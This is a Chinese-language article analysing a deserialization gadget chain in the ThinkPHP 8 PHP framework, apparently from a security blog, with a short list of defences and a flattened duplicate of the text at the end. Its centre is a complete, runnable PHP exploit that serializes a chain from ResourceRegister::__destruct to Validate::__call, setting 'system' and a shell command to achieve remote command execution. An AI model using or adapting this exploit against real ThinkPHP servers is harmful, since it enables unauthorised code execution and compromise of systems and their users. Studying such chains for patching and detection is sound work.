ThinkPHP8 反序列化调用链
字数 1258 2025-08-24 20:49:22

ThinkPHP 8 反序列化漏洞分析与利用

一、环境与背景

  • ThinkPHP版本:8.0
  • PHP版本要求:PHP 8+
  • 官方手册:https://doc.thinkphp.cn/v8_0/preface.html
  • 漏洞类型:反序列化漏洞

二、漏洞分析

1. 反序列化起点选择

在ThinkPHP 8中,反序列化的起点主要有两个选择:

  1. __destruct方法:通常作为反序列化的起点
  2. __wakeup方法:用于对象初始化,较少作为起点

经过分析,选择ResourceRegister#__destruct作为起点,原因如下:

  • Connection抽象类的__destruct方法需要寻找子类,且子类的close方法都是赋值语句,不适合利用
  • ResourceRegister#__destruct方法更可控

2. 终点(sink)选择

选择think\Validate#__call作为终点,原因:

  • 这是ThinkPHP 6反序列化调用链中常用的sink点
  • 该方法可以实现危险操作
  • 变量可控性较高

三、调用链分析

1. 调用链流程

完整的调用链如下:

ResourceRegister::__destruct()
    -> Resource::parseGroupRule()
        -> 字符串拼接触发__toString
            -> Conversion::__toString()
                -> appendAttrToArray()
                    -> getRelationWith()
                        -> Validate::__call()
                            -> call_user_func_array()

2. 关键节点分析

(1) ResourceRegister::__destruct

public function __destruct()
{
    if (!$this->registered) {
        $this->register();
    }
}
  • registered可控,默认为false会调用register方法
  • resource可控,可以触发后续调用

(2) Resource::parseGroupRule

protected function parseGroupRule($rule)
{
    // 关键条件:
    // $rule不能为null
    // $last来源于$rule分割后的最后一个元素
    // $name和$rest也需要可控
    // 不处理$option['only']
    // $val[1]需要包含'<id>'
    // $option['var'][$last]不为空
}

(3) Conversion::__toString

public function __toString()
{
    // 会调用appendAttrToArray方法
    // 需要控制$visible和$relation
}

(4) getRelationWith

protected function getRelationWith($relation, $name)
{
    // 关键点:
    // $relation和$visible[$key]需要可控
    // $this->visible可控,$val不能是字符串
    // $relation来源于getRelation方法,受key影响
}

(5) Validate::__call

public function __call($method, $args)
{
    // 最终会调用is方法
    // $this->type可控
    // $rule为方法名
    // $value不能是字符串
}

四、漏洞利用

1. 利用条件

  • 需要构造特定的对象链
  • 控制多个关键属性:
    • $visible不能是字符串
    • $relation需要指向Validate对象
    • $type需要设置为可执行函数

2. 完整EXP

<?php
namespace think\route {
    class ResourceRegister {
        public $resource;
        public function __construct($resource) {
            $this->resource = $resource;
        }
    }
    
    class RuleGroup extends Rule {
        public function __construct($rule, $router, $option){
            parent::__construct($rule, $router, $option);
        }
    }
    
    class Resource extends RuleGroup {
        public function __construct($rule, $router, $option){
            parent::__construct($rule, $router, $option);
        }
    }
    
    abstract class Rule {
        public $rest = ['key' => [1 => '<id>']];
        public $name = "name";
        public $rule;
        public $router;
        public $option;
        public function __construct($rule, $router, $option){
            $this->rule = $rule;
            $this->router = $router;
            $this->option = ['var' => ['nivia' => $option]];
        }
    }
}

namespace think {
    class Route {}
    
    abstract class Model {
        private $relation;
        protected $append = ['Nivia' => "1.2"];
        protected $visible;
        public function __construct($visible, $call){
            $this->visible = [1 => $visible];
            $this->relation = ['1' => $call];
        }
    }
    
    class Validate {
        protected $type;
        public function __construct(){
            $this->type = ['visible' => "system"]; //function
        }
    }
}

namespace think\model {
    use think\Model;
    class Pivot extends Model {
        public function __construct($visible, $call){
            parent::__construct($visible, $call);
        }
    }
}

namespace Symfony\Component\VarDumper\Caster {
    use Symfony\Component\VarDumper\Cloner\Stub;
    class ConstStub extends Stub {}
}

namespace Symfony\Component\VarDumper\Cloner {
    class Stub {
        public $value = "open -a Calculator"; //cmd
    }
}

namespace {
    $call = new think\Validate;
    $option = new think\model\Pivot(new Symfony\Component\VarDumper\Caster\ConstStub, $call);
    $router = new think\Route;
    $resource = new think\route\Resource("abc.nivia", $router, $option);
    $resourceRegister = new think\route\ResourceRegister($resource);
    echo urlencode(base64_encode(serialize($resourceRegister)));
}

3. EXP说明

  1. 构造ResourceRegister对象作为起点
  2. 通过ResourceRule类构造触发parseGroupRule的条件
  3. 使用Pivot模型控制visiblerelation
  4. ConstStub类用于提供命令执行字符串
  5. Validate类设置typesystem函数
  6. 最终通过call_user_func_array实现命令执行

五、防御措施

  1. 避免反序列化用户可控的数据
  2. __destruct__wakeup方法进行安全审查
  3. 限制危险函数的使用
  4. 使用类型严格检查
  5. 及时更新框架版本

六、总结

ThinkPHP 8的反序列化漏洞利用相比ThinkPHP 6更为复杂,主要由于:

  1. 引入了declare(strict_types=1)的严格类型限制
  2. 部分类和方法发生了变化
  3. PHP 8的特性带来新的限制

通过精心构造的对象链,仍然可以实现反序列化漏洞的利用。关键在于控制多个关键属性,并通过字符串拼接和魔术方法的组合触发最终的代码执行。

ThinkPHP 8 反序列化漏洞分析与利用 一、环境与背景 ThinkPHP版本 :8.0 PHP版本要求 :PHP 8+ 官方手册 :https://doc.thinkphp.cn/v8_ 0/preface.html 漏洞类型 :反序列化漏洞 二、漏洞分析 1. 反序列化起点选择 在ThinkPHP 8中,反序列化的起点主要有两个选择: __ destruct方法 :通常作为反序列化的起点 __ wakeup方法 :用于对象初始化,较少作为起点 经过分析,选择 ResourceRegister#__destruct 作为起点,原因如下: Connection 抽象类的 __destruct 方法需要寻找子类,且子类的 close 方法都是赋值语句,不适合利用 ResourceRegister#__destruct 方法更可控 2. 终点(sink)选择 选择 think\Validate#__call 作为终点,原因: 这是ThinkPHP 6反序列化调用链中常用的sink点 该方法可以实现危险操作 变量可控性较高 三、调用链分析 1. 调用链流程 完整的调用链如下: 2. 关键节点分析 (1) ResourceRegister::__ destruct registered 可控,默认为false会调用 register 方法 resource 可控,可以触发后续调用 (2) Resource::parseGroupRule (3) Conversion::__ toString (4) getRelationWith (5) Validate::__ call 四、漏洞利用 1. 利用条件 需要构造特定的对象链 控制多个关键属性: $visible 不能是字符串 $relation 需要指向Validate对象 $type 需要设置为可执行函数 2. 完整EXP 3. EXP说明 构造 ResourceRegister 对象作为起点 通过 Resource 和 Rule 类构造触发 parseGroupRule 的条件 使用 Pivot 模型控制 visible 和 relation ConstStub 类用于提供命令执行字符串 Validate 类设置 type 为 system 函数 最终通过 call_user_func_array 实现命令执行 五、防御措施 避免反序列化用户可控的数据 对 __destruct 和 __wakeup 方法进行安全审查 限制危险函数的使用 使用类型严格检查 及时更新框架版本 六、总结 ThinkPHP 8的反序列化漏洞利用相比ThinkPHP 6更为复杂,主要由于: 引入了 declare(strict_types=1) 的严格类型限制 部分类和方法发生了变化 PHP 8的特性带来新的限制 通过精心构造的对象链,仍然可以实现反序列化漏洞的利用。关键在于控制多个关键属性,并通过字符串拼接和魔术方法的组合触发最终的代码执行。